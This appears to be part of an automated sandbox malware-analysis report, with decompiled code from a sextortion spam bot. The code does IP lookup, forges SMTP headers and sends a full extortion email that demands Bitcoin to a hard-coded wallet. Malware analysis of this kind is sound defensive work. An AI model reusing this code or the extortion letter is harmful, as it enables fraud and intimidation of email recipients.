                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: a15dfab8a64d2809a9bb9ce6bbea88227874090e061b4096f6a52111f252a52c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 29d48bb3b4794c4e229452164b563af2cefb6bb3da91e7b19481a9739189162f
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: a15dfab8a64d2809a9bb9ce6bbea88227874090e061b4096f6a52111f252a52c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C4F0303275C6044FDB4CAA1CF8529B573D1E799324B00056EE48BC2656D926E8438686
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5E35BA4 Relevance: .0, Instructions: 35COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513850576.00007FF9A5E30000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5E30000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5e30000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: d0f8e846a1d61a44ea549216b5e98aa46ed3766b9cbf4530d9c63a5be037fcf8
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 678cc50edb72f1b42e7f9ec46e5cc7a867f1faa525635deba54d56206b7a66ab
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: d0f8e846a1d61a44ea549216b5e98aa46ed3766b9cbf4530d9c63a5be037fcf8
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 72F0823131CE044BD744EF2CA4456A1B3D0FBA8310F10852EE449C3651DA25E4818782
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D68E16 Relevance: .0, Instructions: 32COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                                                                      • API String ID:
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 08000d23c00a374dda062a1b5f0e232df851c72d8799e53ecd70ba506f950928
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 6de36fb91a227f2fb2c142fb6e1ca587e4ef066bd151db7955289130bf553204
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 08000d23c00a374dda062a1b5f0e232df851c72d8799e53ecd70ba506f950928
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 52F058304097888FCB069F6488188A57FF0EE16200B0A42DBE48DCB072C728A958CB92
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Non-executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 00007FF9A5D68278 Relevance: 6.4, Strings: 5, Instructions: 102COMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000006.00000002.513159499.00007FF9A5D60000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF9A5D60000, based on PE: false
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_6_2_7ff9a5d60000_powershell.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID:
                                                                                                                                                                                                                                                                                                                                                      • String ID: ^_^%$^_^'$^_^8$^_^F$^_^I
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 0-1261179342
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: 2e0f7455e185ae64c7b53470d8d5358dd0cb21a226dae0a41296f6d84e3a334c
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: f2db7391d15c2b1d2eb5e4369055b0a39294da602977d548cbf88a2c707ab6c4
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 2e0f7455e185ae64c7b53470d8d5358dd0cb21a226dae0a41296f6d84e3a334c
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 4031F313D281325D9A047B7CB1A92E87760EF92730B4050BBD2DC8F063DE2538DE86C6
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Callgraph

                                                                                                                                                                                                                                                                                                                                                      Executed Functions

                                                                                                                                                                                                                                                                                                                                                      Function 010A17D0 Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 71networkfileCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                                                                      			E010A17D0() {
				void _v108;
				long _v112;
				void* _v116;
				void* _v120;
				void* _t15;
				void* _t21;

				_t15 = InternetOpenA("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36", 0, 0, 0, 0); // executed
				_v120 = _t15;
				if(_v120 == 0) {
					wsprintfA("[102.129.143.78]", "[0.0.0.0]");
					L8:
					InternetCloseHandle(_v120);
					return "[102.129.143.78]";
				}
				_t21 = InternetOpenUrlA(_v120, "http://icanhazip.com/", 0, 0, 0, 0); // executed
				_v116 = _t21;
				if(_v116 != 0) {
					InternetReadFile(_v116,  &_v108, 0x63,  &_v112); // executed
					if( &_v108 != 0) {
						if(E010A18B0( &_v108, ".") == 0) {
							wsprintfA("[102.129.143.78]", "[0.0.0.0]");
						} else {
							E010A1400( &_v108);
							wsprintfA("[102.129.143.78]", "[%s]",  &_v108);
						}
					}
				}
				InternetCloseHandle(_v116); // executed
				goto L8;
			}









                                                                                                                                                                                                                                                                                                                                                      0x010a17e3
                                                                                                                                                                                                                                                                                                                                                      0x010a17e9
                                                                                                                                                                                                                                                                                                                                                      0x010a17f0
                                                                                                                                                                                                                                                                                                                                                      0x010a1894
                                                                                                                                                                                                                                                                                                                                                      0x010a189d
                                                                                                                                                                                                                                                                                                                                                      0x010a18a1
                                                                                                                                                                                                                                                                                                                                                      0x010a18af
                                                                                                                                                                                                                                                                                                                                                      0x010a18af
                                                                                                                                                                                                                                                                                                                                                      0x010a1807
                                                                                                                                                                                                                                                                                                                                                      0x010a180d
                                                                                                                                                                                                                                                                                                                                                      0x010a1814
                                                                                                                                                                                                                                                                                                                                                      0x010a1824
                                                                                                                                                                                                                                                                                                                                                      0x010a182f
                                                                                                                                                                                                                                                                                                                                                      0x010a1844
                                                                                                                                                                                                                                                                                                                                                      0x010a1875
                                                                                                                                                                                                                                                                                                                                                      0x010a1846
                                                                                                                                                                                                                                                                                                                                                      0x010a184a
                                                                                                                                                                                                                                                                                                                                                      0x010a1860
                                                                                                                                                                                                                                                                                                                                                      0x010a1866
                                                                                                                                                                                                                                                                                                                                                      0x010a1844
                                                                                                                                                                                                                                                                                                                                                      0x010a182f
                                                                                                                                                                                                                                                                                                                                                      0x010a1882
                                                                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenA.WININET(Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36,00000000,00000000,00000000,00000000), ref: 010A17E3
                                                                                                                                                                                                                                                                                                                                                      • InternetOpenUrlA.WININET(00000000,http://icanhazip.com/,00000000,00000000,00000000,00000000), ref: 010A1807
                                                                                                                                                                                                                                                                                                                                                      • InternetReadFile.WININET(00000000,?,00000063,?), ref: 010A1824
                                                                                                                                                                                                                                                                                                                                                        • Part of subcall function 010A18B0: strstr.MSVCRT ref: 010A18BB
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1860
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1875
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(00000000), ref: 010A1882
                                                                                                                                                                                                                                                                                                                                                      • wsprintfA.USER32 ref: 010A1894
                                                                                                                                                                                                                                                                                                                                                      • InternetCloseHandle.WININET(?), ref: 010A18A1
                                                                                                                                                                                                                                                                                                                                                      Strings
                                                                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                                                                      • Source File: 00000008.00000002.632818963.00000000010A1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 010A0000, based on PE: true
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632798147.00000000010A0000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632848133.00000000010A3000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632887362.00000000010A5000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      • Associated: 00000008.00000002.632907339.00000000010A6000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                                                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_8_2_10a0000_75601095.jbxd
                                                                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                                                                      • API ID: Internet$wsprintf$CloseHandleOpen$FileReadstrstr
                                                                                                                                                                                                                                                                                                                                                      • String ID: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36$[%s]$[0.0.0.0]$[0.0.0.0]$[102.129.143.78]$http://icanhazip.com/
                                                                                                                                                                                                                                                                                                                                                      • API String ID: 2936383407-1439226838
                                                                                                                                                                                                                                                                                                                                                      • Opcode ID: b71ec18733e9fdc19c589c1447946b3c686b2087eec7bf1f7dd59eadbc9c55bb
                                                                                                                                                                                                                                                                                                                                                      • Instruction ID: 5f216cd7a85b0a4c3ac8e9858ab2d6a7537a2ae4a45883790d7d9d1524fdc823
                                                                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: b71ec18733e9fdc19c589c1447946b3c686b2087eec7bf1f7dd59eadbc9c55bb
                                                                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 58216270A80708ABDB209BE5DD4BF9DBB74BB04A05FE0451CB685AF181E7B6A504CF91
                                                                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                                                                      Function 010A1D47 Relevance: 122.9, APIs: 39, Strings: 31, Instructions: 423sleepCOMMON
                                                                                                                                                                                                                                                                                                                                                      Download Yara Rule

                                                                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                                                                      C-Code - Quality: 92%
                                                                                                                                                                                                                                                                                                                                                      			E010A1D47(void* __eflags) {
				signed int _t176;
				signed int _t178;
				signed int _t180;
				signed int _t182;
				void* _t188;
				void* _t189;
				int _t194;
				int _t198;
				int _t201;
				int _t205;
				int _t208;
				void* _t210;
				int _t215;
				int _t216;
				int _t217;
				int _t237;
				int _t254;
				intOrPtr _t258;
				int _t259;
				void* _t343;
				void* _t345;
				void* _t352;
				void* _t356;
				void* _t358;
				void* _t360;
				void* _t362;
				void* _t364;
				void* _t368;
				void* _t369;
				void* _t370;
				void* _t384;
				void* _t398;

				L0:
				while(1) {
					L0:
					wsprintfA(_t343 - 0x538, "%s.com", E010A1320(_t343 - 0x658, 5, _t343 - 0x658));
					E010A1490(0, _t343 - 0x750, 1); // executed
					Sleep(0x7d0); // executed
					E010A1490(0, _t343 - 0x6d0, 0); // executed
					_t176 = rand();
					asm("cdq");
					_t178 = rand();
					asm("cdq");
					_t180 = rand();
					asm("cdq");
					_t182 = rand();
					asm("cdq");
					 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Received: from %s ([%d.%d.%d.%d]) by %s with MailEnable ESMTP; %s\r\n", E010A1390(0xd2, 7, _t343 - 0x6e8), _t182 % 0xd2 + 1, _t180 % 0xfe + 1, _t178 % 0xfe + 1, _t176 % 0xfe + 1, _t343 - 0x538, _t343 - 0x6d0);
					_t188 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
					_t352 = _t345 + 0x64;
					if(_t188 != 0) {
						_t189 = E010A1320(_t343 - 0x750, 3, _t343 - 0x664);
						 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Received: (qmail %s invoked by uid %s); %s\r\n", E010A1320(_t343 - 0x750, 5, _t343 - 0x6dc), _t189, _t343 - 0x750);
						_t194 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
						_t356 = _t352 + 0x30;
						__eflags = _t194;
						if(_t194 != 0) {
							 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "From: John Blue %s\r\n", _t343 - 0x88);
							_t198 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
							_t358 = _t356 + 0x18;
							__eflags = _t198;
							if(_t198 != 0) {
								 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "To: %s\r\n",  *((intOrPtr*)(_t343 + 8)));
								_t201 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
								_t360 = _t358 + 0x18;
								__eflags = _t201;
								if(_t201 != 0) {
									 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Subject: %s\r\n", "I RECORDED YOU!");
									_t205 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
									_t362 = _t360 + 0x18;
									__eflags = _t205;
									if(_t205 != 0) {
										 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Date: %s\r\n", _t343 - 0x6d0);
										_t208 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
										_t364 = _t362 + 0x18;
										__eflags = _t208;
										if(_t208 != 0) {
											_t210 = E010A1320(_t343 - 0x664, 6, _t343 - 0x664);
											 *((intOrPtr*)(_t343 - 0x754)) = wsprintfA(_t343 - 0x490, "Message-ID: <%s.%s@%s>\r\n", E010A1320(_t343 - 0x664, 6, _t343 - 0x6dc), _t210, _t343 - 0x538);
											_t215 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *((intOrPtr*)(_t343 - 0x754))); // executed
											_t368 = _t364 + 0x30;
											__eflags = _t215;
											if(_t215 != 0) {
												_t216 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), "Mime-Version: 1.0\r\n", 0xffffffff); // executed
												_t369 = _t368 + 0xc;
												__eflags = _t216;
												if(_t216 != 0) {
													_t217 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), "Content-type: text/plain;\r\n\r\n", 0xffffffff); // executed
													_t370 = _t369 + 0xc;
													__eflags = _t217;
													if(_t217 != 0) {
														memset(_t343 - 0x640, 0, 0x104);
														strcpy(_t343 - 0x640, "Hi, today there are sadly some bad news for you.\r\n\r\n");
														strcat(_t343 - 0x640, "Your device was infected with my private malware, your browser wasn\'t updated / patched, in such case it\'s enough to just visit some website where my iframe is placed to get automatically infected, if you want to find out more, Google: Drive-by exploit.\r\n\r\n");
														strcat(_t343 - 0x640, "My malware gave me full access to all your accounts, full control over your device and it also was possible to spy on you over your cam.\r\n\r\n");
														strcat(_t343 - 0x640, "If you think this is some bad joke, no, I know your password: ");
														strcat(_t343 - 0x640,  *(_t343 + 0xc));
														strcat(_t343 - 0x640, "\r\n\r\n");
														strcat(_t343 - 0x640, "I collected all your private data and I RECORDED YOU (through your cam) SATISFYING YOURSELF!\r\n\r\n");
														strcat(_t343 - 0x640, "After that I removed my malware to not leave any traces and this email was sent from some hacked server.\r\n\r\n");
														strcat(_t343 - 0x640, "I can publish the video of you and all your private data on the whole web, social networks, over email and send everything to all your contacts.\r\n\r\n");
														strcat(_t343 - 0x640, "But you can stop me and only I can help you out in this situation.\r\n\r\n");
														strcat(_t343 - 0x640, "The only way to stop me, is to pay exactly 1200$ in Bitcoin (BTC).\r\n\r\n");
														strcat(_t343 - 0x640, "It\'s a very good offer, compared to all that horrible shit that will happen if I publish everything.\r\n\r\n");
														_t237 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x640, 0xffffffff); // executed
														_t384 = _t370 + 0x78;
														__eflags = _t237;
														if(_t237 != 0) {
															memset(_t343 - 0x640, 0, 0x104);
															strcpy(_t343 - 0x640, "You can easily buy Bitcoin (BTC) here: www.paxful.com , www.coingate.com , www.coinbase.com , or check for Bitcoin (BTC) ATM near you, or Google for other exchanger.\r\n\r\n");
															strcat(_t343 - 0x640, "You can send the Bitcoin (BTC) directly to my wallet, or install the free software: Atomicwallet, or: Exodus wallet, then receive and send to mine.\r\n\r\n");
															strcat(_t343 - 0x640, "My Bitcoin (BTC) wallet is: bc1q0yevmcvnhhus02659zr6ssu8u6x05s4jjrw8ta\r\n\r\n");
															strcat(_t343 - 0x640, "Yes, that\'s how the wallet / address looks like, copy and paste it, it\'s (cAsE-sEnSEtiVE).\r\n\r\n");
															strcat(_t343 - 0x640, "I give you 3 days time to pay.\r\n\r\n");
															strcat(_t343 - 0x640, "After receiving the payment, I will remove everything and you can life your live in peace like before, don\'t worry, I keep my promise.\r\n\r\n");
															strcat(_t343 - 0x640, "Next time make sure that your device got the newsest security updates.\r\n\r\n");
															strcat(_t343 - 0x640, "ClientMailID: ");
															strcat(_t343 - 0x640, E010A1320(_t343 - 0x64c, 7, _t343 - 0x64c));
															strcat(_t343 - 0x640, "\r\n.\r\n");
															_t254 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x640, 0xffffffff); // executed
															_t384 = _t384 + 0x70;
															__eflags = _t254;
															if(_t254 != 0) {
																 *(_t343 - 0x20) = 7;
															} else {
																 *(_t343 - 0x20) = 0;
															}
														} else {
															 *(_t343 - 0x20) = 0;
														}
													} else {
														 *(_t343 - 0x20) = 0;
													}
												} else {
													 *(_t343 - 0x20) = 0;
												}
											} else {
												 *(_t343 - 0x20) = 0;
											}
										} else {
											 *(_t343 - 0x20) = 0;
										}
									} else {
										 *(_t343 - 0x20) = 0;
									}
								} else {
									 *(_t343 - 0x20) = 0;
								}
							} else {
								 *(_t343 - 0x20) = 0;
							}
						} else {
							 *(_t343 - 0x20) = 0;
						}
					} else {
						 *(__ebp - 0x20) = 0;
					}
					L48:
					while( *(_t343 - 0x20) != 0 &&  *(_t343 - 0x20) != 8) {
						_t258 = E010A1160( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490, 0x400); // executed
						_t398 = _t384 + 0xc;
						 *((intOrPtr*)(_t343 - 0x90)) = _t258;
						if( *((intOrPtr*)(_t343 - 0x90)) != 0) {
							L5:
							 *((char*)(_t343 +  *((intOrPtr*)(_t343 - 0x90)) - 0x490)) = 0;
							_t259 = E010A11C0(_t343 - 0x490);
							_t384 = _t398 + 4;
							__eflags = _t259;
							if(_t259 != 0) {
								L7:
								 *(_t343 - 0x758) =  *(_t343 - 0x20);
								 *(_t343 - 0x758) =  *(_t343 - 0x758) - 1;
								__eflags =  *(_t343 - 0x758) - 6;
								if(__eflags > 0) {
									continue;
								}
								L8:
								switch( *((intOrPtr*)( *(_t343 - 0x758) * 4 +  &M010A2324))) {
									case 0:
										L9:
										_push("ESMTP");
										_t262 = StrStrA(_t343 - 0x490);
										__eflags = _t262;
										if(_t262 == 0) {
											_t263 = wsprintfA(_t343 - 0x490, "HELO %s\r\n", "[102.129.143.78]");
											_t399 = _t384 + 0xc;
											 *(_t343 - 0x494) = _t263;
										} else {
											_t266 = wsprintfA(_t343 - 0x490, "EHLO %s\r\n", "[102.129.143.78]");
											_t399 = _t384 + 0xc;
											 *(_t343 - 0x494) = _t266;
										}
										_t265 = E010A1120( *((intOrPtr*)(_t343 - 0x1c)), _t343 - 0x490,  *(_t343 - 0x494)); // executed
										_t384 = _t399 + 0xc;
										__eflags = _t265;
										if(_t265 != 0) {
											 *(_t343 - 0x20) = 3;
										} else {
											 *(_t343 - 0x20) = 0;
										}
										goto L48;
									case 1:
										goto L48;
									case 2:
										L16:
										__eax = __ebp - 0x4c8;
										__eax = E010A18D0(__ecx, __eflags, __ebp - 0x4c8); // executed
										__ecx = __ebp - 0x88;
										__eax = wsprintfA(__ebp - 0x88, "<JohnBlue@%s>", __eax);
										__esp = __esp + 0xc;
										__eax = __ebp - 0x490;
										__eax = wsprintfA(__ebp - 0x490, "MAIL FROM: %s\r\n", __ebp - 0x88);
										__esp = __esp + 0xc;
										 *(__ebp - 0x4cc) = __eax;
										__ecx =  *(__ebp - 0x4cc);
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4cc)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 4;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 3:
										L19:
										__ecx =  *(__ebp + 8);
										__eax = wsprintfA(__ebp - 0x490, "RCPT TO: <%s>\r\n",  *(__ebp + 8));
										__esp = __esp + 0xc;
										 *(__ebp - 0x4d0) = __eax;
										__eax =  *(__ebp - 0x4d0);
										__ecx = __ebp - 0x490;
										__eax = E010A1120( *(__ebp - 0x1c), __ebp - 0x490,  *(__ebp - 0x4d0)); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 5;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 4:
										L22:
										__eax =  *(__ebp - 0x1c);
										__eax = E010A1120( *(__ebp - 0x1c), "DATA\r\n", 0xffffffff); // executed
										__eflags = __eax;
										if(__eax != 0) {
											 *(__ebp - 0x20) = 6;
										} else {
											 *(__ebp - 0x20) = 0;
										}
										goto L48;
									case 5:
										goto L0;
									case 6:
										L47:
										 *(__ebp - 0x1c) = E010A1120( *(__ebp - 0x1c), "QUIT", 0xffffffff); // executed
										 *(__ebp - 0x20) = 8;
										goto L48;
								}
							} else {
								break;
							}
						} else {
							break;
						}
					}
					L49:
					 *(_t343 - 8) = 0 |  *(_t343 - 0x20) == 0x00000008;
					__imp__#22( *((intOrPtr*)(_t343 - 0x1c)), 2); // executed
					__imp__#3( *((intOrPtr*)(_t343 - 0x1c)));
					return  *(_t343 - 8);
				}
			}



































                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d47
                                                                                                                                                                                                                                                                                                                                                      0x010a1d65
                                                                                                                                                                                                                                                                                                                                                      0x010a1d79
                                                                                                                                                                                                                                                                                                                                                      0x010a1d86
                                                                                                                                                                                                                                                                                                                                                      0x010a1d97
                                                                                                                                                                                                                                                                                                                                                      0x010a1dad
                                                                                                                                                                                                                                                                                                                                                      0x010a1db2
                                                                                                                                                                                                                                                                                                                                                      0x010a1dbe
                                                                                                                                                                                                                                                                                                                                                      0x010a1dc3
                                                                                                                                                                                                                                                                                                                                                      0x010a1dcf
                                                                                                                                                                                                                                                                                                                                                      0x010a1dd4
                                                                                                                                                                                                                                                                                                                                                      0x010a1de0
                                                                                                                                                                                                                                                                                                                                                      0x010a1de5
                                                                                                                                                                                                                                                                                                                                                      0x010a1e18
                                                                                                                                                                                                                                                                                                                                                      0x010a1e30
                                                                                                                                                                                                                                                                                                                                                      0x010a1e35
                                                                                                                                                                                                                                                                                                                                                      0x010a1e3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1e58
                                                                                                                                                                                                                                                                                                                                                      0x010a1e88
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea0
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea5
                                                                                                                                                                                                                                                                                                                                                      0x010a1ea8
                                                                                                                                                                                                                                                                                                                                                      0x010a1eaa
                                                                                                                                                                                                                                                                                                                                                      0x010a1ed4
                                                                                                                                                                                                                                                                                                                                                      0x010a1eec
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef1
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef4
                                                                                                                                                                                                                                                                                                                                                      0x010a1ef6
                                                                                                                                                                                                                                                                                                                                                      0x010a1f1d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f35
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3a
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3d
                                                                                                                                                                                                                                                                                                                                                      0x010a1f3f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f67
                                                                                                                                                                                                                                                                                                                                                      0x010a1f7f
                                                                                                                                                                                                                                                                                                                                                      0x010a1f84
                                                                                                                                                                                                                                                                                                                                                      0x010a1f87
                                                                                                                                                                                                                                                                                                                                                      0x010a1f89
                                                                                                                                                                                                                                                                                                                                                      0x010a1fb3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fcb
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd0
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd3
                                                                                                                                                                                                                                                                                                                                                      0x010a1fd5
                                                                                                                                                                                                                                                                                                                                                      0x010a1ff3
                                                                                                                                                                                                                                                                                                                                                      0x010a2023
                                                                                                                                                                                                                                                                                                                                                      0x010a203b
                                                                                                                                                                                                                                                                                                                                                      0x010a2040
                                                                                                                                                                                                                                                                                                                                                      0x010a2043
                                                                                                                                                                                                                                                                                                                                                      0x010a2045
                                                                                                                                                                                                                                                                                                                                                      0x010a205e
                                                                                                                                                                                                                                                                                                                                                      0x010a2063
                                                                                                                                                                                                                                                                                                                                                      0x010a2066
                                                                                                                                                                                                                                                                                                                                                      0x010a2068
                                                                                                                                                                                                                                                                                                                                                      0x010a2081
                                                                                                                                                                                                                                                                                                                                                      0x010a2086
                                                                                                                                                                                                                                                                                                                                                      0x010a2089
                                                                                                                                                                                                                                                                                                                                                      0x010a208b
                                                                                                                                                                                                                                                                                                                                                      0x010a20a7
                                                                                                                                                                                                                                                                                                                                                      0x010a20bb
                                                                                                                                                                                                                                                                                                                                                      0x010a20cf
                                                                                                                                                                                                                                                                                                                                                      0x010a20e3
                                                                                                                                                                                                                                                                                                                                                      0x010a20f7
                                                                                                                                                                                                                                                                                                                                                      0x010a210a
                                                                                                                                                                                                                                                                                                                                                      0x010a211e
                                                                                                                                                                                                                                                                                                                                                      0x010a2132
                                                                                                                                                                                                                                                                                                                                                      0x010a2146
                                                                                                                                                                                                                                                                                                                                                      0x010a215a
                                                                                                                                                                                                                                                                                                                                                      0x010a216e
                                                                                                                                                                                                                                                                                                                                                      0x010a2182
                                                                                                                                                                                                                                                                                                                                                      0x010a2196
                                                                                                                                                                                                                                                                                                                                                      0x010a21ab
                                                                                                                                                                                                                                                                                                                                                      0x010a21b0
                                                                                                                                                                                                                                                                                                                                                      0x010a21b3
                                                                                                                                                                                                                                                                                                                                                      0x010a21b5
                                                                                                                                                                                                                                                                                                                                                      0x010a21d1
                                                                                                                                                                                                                                                                                                                                                      0x010a21e5
                                                                                                                                                                                                                                                                                                                                                      0x010a21f9
                                                                                                                                                                                                                                                                                                                                                      0x010a220d
                                                                                                                                                                                                                                                                                                                                                      0x010a2221
                                                                                                                                                                                                                                                                                                                                                      0x010a2235
                                                                                                                                                                                                                                                                                                                                                      0x010a2249
                                                                                                                                                                                                                                                                                                                                                      0x010a225d
                                                                                                                                                                                                                                                                                                                                                      0x010a2271
                                                                                                                                                                                                                                                                                                                                                      0x010a2292
                                                                                                                                                                                                                                                                                                                                                      0x010a22a6
                                                                                                                                                                                                                                                                                                                                                      0x010a22bb
                                                                                                                                                                                                                                                                                                                                                      0x010a22c0
